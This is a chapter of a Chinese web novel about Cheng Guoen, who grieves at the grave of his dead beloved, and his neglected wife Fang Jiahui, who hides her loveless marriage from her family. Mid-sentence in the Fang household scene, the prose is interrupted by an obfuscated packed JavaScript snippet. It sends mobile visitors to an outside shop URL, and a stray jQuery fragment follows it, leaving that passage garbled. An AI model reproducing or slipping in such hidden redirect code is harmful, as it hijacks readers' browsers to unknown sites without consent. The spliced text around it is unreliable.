从江南离开,程国恩选择水路北上。
船行十余日,两岸的风景从江南的温润渐渐变成了北地的疏阔。历经十余日,到达京城渡口时已是日暮。
天边最后一抹残阳落在渡口——一道残阳铺水中,半江瑟瑟半江红。
渡口的轿子已候在渡口。程国恩下了船,径直踏上轿子,连头都没有回,把方嘉慧扔在后面。轿帘落下,隔开了两个世界。
不爱,就是不爱。
程国恩装都不装。他的心很小,小到只装得下一个人。那个人已经不在了,可她的位置,谁也占不了!
其他女人在他眼里,不过是一道碍眼的风景罢了。
方嘉慧走在后面,紧紧捏着手中的手帕,指尖把那方丝帕绞得发皱。
她看着那顶毫不犹豫起轿离去的轿子,眼里带着失落的泪水。
世家出生之人,婚嫁里皆是利益。如果不是祖父和父亲用家族利益逼迫,凭借她那被藏起来的娇纵和傲气,她怎能会爬上程国恩的床,怎能忍耐至此?
当然,她也真的喜欢程国恩——从第一眼见到他时便沦陷了。所以她也愿意忍耐,愿意在这漫长的等待里消磨自己,愿意在他面前敛起所有锋芒,扮演一个温柔贤惠的妻子,哪怕失去自我。
程府前厅里,热腾腾的饭菜已准备好。丫鬟们将最后一道汤端上桌,悄悄退了下去。
可回到程府,程国恩命人把从江南带来的水和花搬进了书房,随后自己也进入书房,关上了门。他连看都不看方嘉慧一眼,仿佛她根本不存在于这座府邸之中。
他是恨方嘉慧的——他恨方嘉慧趁着他醉酒夺走了他为心爱的女人苦苦守住的清白,恨他们用最卑劣的手段把他绑上了方家这艘船。他更恨自己,恨自己那天为什么没有推开她。
方嘉慧看着程国恩那冷漠的背影,那扇书房的门在她面前徐徐合上,连带着她的心也一同被关在了门外。
本来有些饥饿的肚子突然被委屈填得满满当当,她再也咽不下一口饭,转身回到房间,扑进被窝里,把这三年多独守空房、得不到丈夫一丝怜爱、只能在无数个夜里独自垂泪的委屈,全都化成了无声的泪水。
枕头被泪水洇湿,她死死咬着嘴唇,不肯让自己哭出声来。
黑夜慢慢过去,天刚亮起,晨光还没有来得及温暖这座冰冷的府邸。程国恩便独自一人拿着从江南带来的水和花,离开了程府。
方嘉慧站在廊下,远远地看着程国恩的背影消失在晨雾里。她知道程国恩是去看宋玉章——在江南的三年里,每年清明、寒衣、祭日,程国恩都会站在富春江的山顶,朝着京城的方向,看上一整天。
程国恩就那么明目张胆,一点都不顾及她的感受。她靠在门框上,闭着眼睛,泪水再一次无声地滑落。
此时,她好嫉妒宋玉章。
那个已经死去的女人,即使躺在黄土里,变成了一具白骨,也能让程国恩如此痴念,如此念念不忘。
她深深地叹了一口气,然后睁开眼睛——那眼底的失落和柔弱已经不见了,取而代之的是一片冰冷的恨意。她就不相信,自己连一个死人都争不过。
青山山脚之下,晨雾还未散尽。薄薄的雾气在林间缭绕,把山间的草木都染成了一片朦胧的青灰色,偶尔几声清脆的鸟鸣穿透雾霭。
宋玉章的坟墓,没有任何杂草,墓碑被擦拭得干干净净。程国恩远远地看见了那座坟,还没有靠近,泪水便已经夺眶而出。脚步忽然变得沉重起来。他拖着仿佛走在钉子上的步伐,一步一步,艰难地来到了坟墓前。
“玉儿……”程国恩蹲下身,伸出颤抖的手,轻轻抚摸着冰冷的墓碑。那墓碑上的字迹依然清晰,每一笔每一画他都刻在心里。他的声音哽咽着,带着四年来从未减弱过的思念和疼痛,“玉儿,你在这里躺了四年了。对不起,三年多没来看你,你生气了吗?——我去了江南,去了你一直想去的富春江。”
他把从江南带来的水取出来,那是富春江的水,他亲手在江心取的,装在从富春江边买来的青瓷瓶里。
他把水洒在墓碑前,一边洒一边说:“玉儿,这是富春江的水,澄澈明亮,就像你纯洁的心灵。你说过,富春江的水是天下最干净的水。我替你看了,真的很干净——干净得能看见水底的每一颗石子。你看到了吗?”
随后,他拿起铲子,把从江南带来的花——那是几株白梅的幼苗,根上还裹着富春江畔的泥土——小心翼翼地植在坟墓周围。
铲子挖进泥土,再填回去,他的动作极轻极慢,像是在给一个熟睡的人掖好被角,怕惊醒她。
水洒完了,花也植好了。
他靠着墓碑坐下,就像一个丈夫坐在妻子身边那样自然。他看着远处渐渐散开的晨雾,嘴角带着温柔的笑意说:“玉儿,我已把江南的山水都看尽了——富春江的日出,山间的云海,两岸的红枫,渔民的竹筏,我都一点一点地记在心里,装得满满的,带回来讲给你听。你以前说,最想去江南,去看那里的烟雨。现在我替你去了,你看——”
他抬起手指着远处的青山,“江南的山是这样的,一层一层地叠着,近的是翠绿的,远的是青黛色的,更远的就像一道淡淡的墨痕。风吹过竹林的时候,那声音和北方的风完全不一样,软软的,柔柔的,像你在书房里读诗时的声音。”
他哽咽了一下,然后便滔滔不绝地讲起来——富春江的水如何在阳光下闪着粼粼的光,山间的雾如何在清晨慢慢升腾如同你的裙裾,那撑竹筏的老翁如何在江心唱了一首他听不懂的江南小调,两岸的花如何开得绚烂却安静。他的声音温柔得如同富春江的风。
讲完这一切,他侧过身,把脸贴在冰冷的墓碑上,就像从前把脸贴在她的掌心里一样。他说:“玉儿,你一定都听到了吧。还有——你是不是生我气了?三年了,你三年都没有托梦给我了。你知不知道,我好想你,想你想得快发疯了。求求你,今晚托梦给我好吗?哪怕只是让我看你一眼,看你的背影也好……”
此刻的程国恩,他的笑容、他的声音、他的眼神,是多么温柔。仿佛那个在书房里握着她的手一笔一画教她写字的少年又回来了,仿佛那个在宋府的回廊里偷偷看她一眼便心满意足的少年从未离开过。
若是他能把这些温柔分一丝给方嘉慧,方嘉慧都会喜极而泣。可是,他不会分,一丝都不愿意。他的温柔,永远只属于黄土下的那个女子。
而方嘉慧,此时正坐在镜台前,让侍女替她把哭红的眼眶补了粉,对着铜镜练习了好几次微笑,直到那笑容看起来毫无破绽。
方府里,方雍与方鹏举已去上朝。方嘉慧挤出笑容,径直来到母亲的院中,陪陪许久未见的母亲。
方夫人正在与方鹏举的妻子王巧云和妾室李芙蓉品茶,聊着京中近来的趣事。三人看着方嘉慧回来了,很是高兴。会来事的李芙蓉赶紧起身行礼,又亲自斟了一杯茶,双手奉上。
从未正眼看过李芙蓉的方嘉慧——她素来瞧不上这个以庶女之身嫁入方家做妾的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671934|206141||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
女人——这一次竟然端起了李芙蓉亲手斟的茶,轻轻抿了一口。
李芙蓉微微一怔,随即低下头,嘴角浮起一抹不易察觉的笑意。方嘉慧向三人问好后,便安静地坐了下来。
三年没见,方夫人拉着女儿的手,仔仔细细地打量着她,心疼地问:“怎么瘦了这么多?江南的水土不养人吗?”又问,“怎么没见国恩?他没和你一起来?”
方嘉慧微笑着说:“夫君比较忙,说忙完定会前来拜见母亲。他刚到京城,有许多公务要交接,实在脱不开身。”
王巧云放下茶盏,打量着方嘉慧的神色,问道:“这三年,妹夫对你如何?你在江南过得可还习惯?”
方嘉慧微笑着说:“夫君对我关怀备至。江南的气候也好,日子过得还算舒心。”
李芙蓉在一旁听着,再看看方嘉慧那双没有神采、笑意达不到眼底的眼睛,心中立刻了然——她与程国恩之间,绝不是她说的那般好。她也是女人,她知道一个女人被丈夫冷落时眼睛里是什么样的光。可她没有点破,只是端起茶盏,继续喝着茶。
方夫人看着女儿的肚子,欲言又止。那目光在方嘉慧的小腹上停了又停,终究还是没好意思直接开口。
王巧云顺着婆母的目光看过去,心领神会,便代为开口问道:“嘉慧,你与妹夫成婚三年有余了,为何这肚子还不见动静?你可得上心一些——这女人嫁了人,孩子便是立身之本。有了孩子,在夫家才能真正站住脚跟。”
方嘉慧听了,微微愣了一瞬,眼里飞快地闪过一抹难以察觉的悲哀。
这三年多,她一直独守空房——程国恩连她的房门都不曾踏入,她哪里会有孩子?她的肚子当然没有动静,因为根本不曾有过任何动静的可能。
可她迅速调整好自己的表情,刻意翘起嘴角,笑得从容而自然:“嫂子,我在江南找大夫看过了。大夫说我身体偏寒,需要好好调理调理,不是什么大问题。”
方夫人松了一口气,拉着女儿的手语重心长地嘱咐:“你可得赶紧调理好,赶紧生一个孩子,拴住国恩的心。他可是方家的智囊——你父亲和你大哥的许多事,都还得靠他出谋划策呢。有了孩子,他的心自然就定了。”
在方家人眼里,她的幸福,远远没有家族的前途重要。
方嘉慧乖巧地点了点头,轻声回答:“知道了,母亲。”
日头慢慢爬上头顶,方嘉慧陪母亲用过午膳,又与李芙蓉聊了一会儿天,便起身回了程府。
坐在轿中,她脸上的笑容一点一点地褪去,换上了一种她只在独处时才会流露出来的冷厉和傲气。
家族的利益和对程国恩的情,让她在假装的温柔和真实的傲气之间来回切换,她突然觉得好累……
回到府里后,她没有回房间休息,而是亲自来到厨房,挽起袖子,开始为程国恩洗手做汤羹。
她切菜的动作利落而用力,刀刃剁在砧板上发出沉闷的声响,仿佛要把那些委屈和不甘都剁进菜里。
暮色降临,靠着宋玉章墓碑的程国恩慢慢睁开了眼睛。
他竟然靠着她的墓碑睡着了,在梦里他看见了她——她穿着一身淡紫色的罗裙,站在富春江的竹筏上,回头对他微微一笑。
他望着天边被夕阳染红的云霞,伸出手,仿佛要接住什么,却什么都没有接住。然后他转回头看着墓碑,声音沙哑而温柔:“玉儿,我走了。以后,我会时常来看你。你也入我梦来,好不好?我不怕梦醒,我只怕梦不到你……”